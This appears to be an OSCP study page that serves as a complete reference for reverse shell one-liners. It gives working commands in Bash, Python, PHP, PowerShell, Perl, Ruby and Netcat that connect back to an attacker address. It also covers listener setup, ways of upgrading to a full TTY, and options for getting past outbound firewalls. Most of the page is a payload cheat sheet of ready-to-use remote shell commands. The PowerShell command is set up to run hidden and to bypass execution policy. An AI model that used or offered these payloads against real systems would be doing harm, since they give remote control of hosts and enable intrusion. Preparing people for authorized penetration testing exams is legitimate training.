Domain 5Pivoting & MetasploitCORE

Reverse Shell Techniques

Complete reference for reverse shell one-liners in Bash, Python, PHP, PowerShell, Perl, Ruby, and Netcat, plus shell upgrade techniques for OSCP.

Domain: Domain 5: Pivoting, Tunneling & Metasploit•Updated: 2026-09-01
#reverse-shell#bash#python#powershell#shell-upgrade#oscp

Reverse Shell Techniques

Reverse shells are the foundation of all pivoting. You cannot tunnel through a machine you don’t have shell access to. This guide provides a comprehensive reference for reverse shell one-liners and shell upgrade techniques.

Why Reverse Shells Are the Foundation

graph LR
    A[Exploit] --> B[Reverse Shell]
    B --> C[Upload Tunnel Tool]
    C --> D[Establish Tunnel]
    D --> E[Pivot to Internal]
    E --> F[Exploit Internal Target]

Every pivot starts with a reverse shell. The quality of your shell determines how effectively you can pivot.


Reverse Shell One-Liners by Language

Bash

# Basic (requires /dev/tcp)
bash -i >& /dev/tcp/10.10.14.3/4444 0>&1

# Alternative syntax
bash -c 'bash -i >& /dev/tcp/10.10.14.3/4444 0>&1'

# No /dev/tcp variant (uses /bin/bash)
exec 5<>/dev/tcp/10.10.14.3/4444
cat <&5 | while read line; do $line 2>&5 >&5; done

Python 3

# Full version
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.3",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/bash","-i"])'

# Shorter version
python3 -c 'import pty;import socket;import os;s=socket.socket();s.connect(("10.10.14.3",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/bash")'

PHP

# Using fsockopen
php -r '$sock=fsockopen("10.10.14.3",4444);exec("/bin/bash -i <&3 >&3 2>&3");'

# One-liner
php -r '$s=fsockopen("10.10.14.3",4444);system("/bin/bash -i <&3 >&3 2>&3");'

PowerShell

# Full TCPClient version
powershell -NoP -NonI -W Hidden -Exec Bypass -Command New-Object System.Net.Sockets.TCPClient("10.10.14.3",4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()

# Invoke-Shellcode (from Empire/PowerShellArsenal)
Invoke-Shellcode -Payload windows/meterpreter/reverse_tcp -Lhost 10.10.14.3 -Lport 4444

Perl

perl -e 'use Socket;$i="10.10.14.3";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/bash -i");};'

Ruby

ruby -rsocket -e 'f=TCPSocket.open("10.10.14.3",4444).to_i;exec sprintf("/bin/bash -i <&%d >&%d 2>&%d",f,f,f)'

Netcat

# Traditional netcat (with -e)
nc -e /bin/bash 10.10.14.3 4444
nc.traditional -e /bin/bash 10.10.14.3 4444

# Ncat (with -e)
ncat -e /bin/bash 10.10.14.3 4444

# OpenBSD netcat (with -c)
nc -c '/bin/bash -i' 10.10.14.3 4444

# Without -e (pipe method)
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 10.10.14.3 4444 >/tmp/f

Listener Setup

Netcat Listener

# Basic listener
nc -lvp 4444

# Keep listening after disconnect
nc -lkv 4444

Socat Listener (Better TTY Support)

# Recommended listener for best shell quality
socat TCP-LISTEN:4444,nip,su=0,range=10.10.10.0/24 \
    EXEC:"bash -li",pty,stderr,setsid,sigint,sane

Ncat Listener

# Ncat listener
ncat -lv 4444

# Ncat with SSL
ncat --ssl -lv 4443 --cert cert.pem --key key.pem

Shell Upgrade / TTY Spawning

A basic reverse shell often lacks a proper TTY, which prevents running interactive programs (sudo, su, vim, etc.).

Python PTY Spawn

# From within the reverse shell
python3 -c 'import pty; pty.spawn("/bin/bash")'

# If python3 not available, try python2
python -c 'import pty; pty.spawn("/bin/bash")'

Script Kiddie Method (stty raw -echo)

# Step 1: Spawn basic python pty
python3 -c 'import pty; pty.spawn("/bin/bash")'

# Step 2: Background the shell (Ctrl+Z)

# Step 3: On attacker machine
stty raw -echo
fg

# Step 4: In the shell, press Enter twice, then:
reset
export SHELL=bash
export TERM=xterm-256color
stty rows 40 columns 120

Why a Proper TTY Matters

Without TTY With TTY
sudo fails sudo works
su fails su works
No tab completion Tab completion works
No arrow keys Arrow keys work
vim / nano fail Editors work
Ctrl+C kills shell Ctrl+C works normally

Reverse Shell Cheatsheet Table

Language Reverse Shell Command Listener
Bash bash -i >& /dev/tcp/IP/PORT 0>&1 nc -lvp PORT
Python 3 python3 -c 'import pty;...' nc -lvp PORT
PHP php -r '$sock=fsockopen(...)' nc -lvp PORT
PowerShell powershell -NoP -NonI ... nc -lvp PORT
Perl perl -e 'use Socket;...' nc -lvp PORT
Ruby ruby -rsocket -e '...' nc -lvp PORT
Netcat nc -e /bin/bash IP PORT nc -lvp PORT
Socat socat TCP:IP:PORT EXEC:"bash -li",pty,stderr,setsid,sigint,sane socat TCP-LISTEN:PORT EXEC:"bash -li",pty,stderr,setsid,sigint,sane

Firewall Considerations

Scenario Strategy
Outbound 443 allowed Use port 443 for reverse shell
Outbound 80 allowed Use port 80 for reverse shell
Outbound DNS allowed Use DNS tunneling (dnscat2)
Outbound ICMP allowed Use ICMP tunneling (icmpsh)
All outbound blocked Use bind shell instead (rare)

OSCP Exam Tips

  1. Have multiple reverse shell methods ready — not all languages are available on every target.
  2. Socat gives the best shell quality — prefer when available.
  3. Always upgrade to a proper TTY — you’ll need it for sudo/su.
  4. Use python3 -c 'import pty; pty.spawn("/bin/bash")' as your go-to upgrade method.
  5. Keep reverse.shells.one-liners bookmarked — you’ll need them under time pressure.
  6. Test your listener before sending the payload — make sure it’s actually listening.
  7. Use different ports for different shells to avoid conflicts.

Further Reading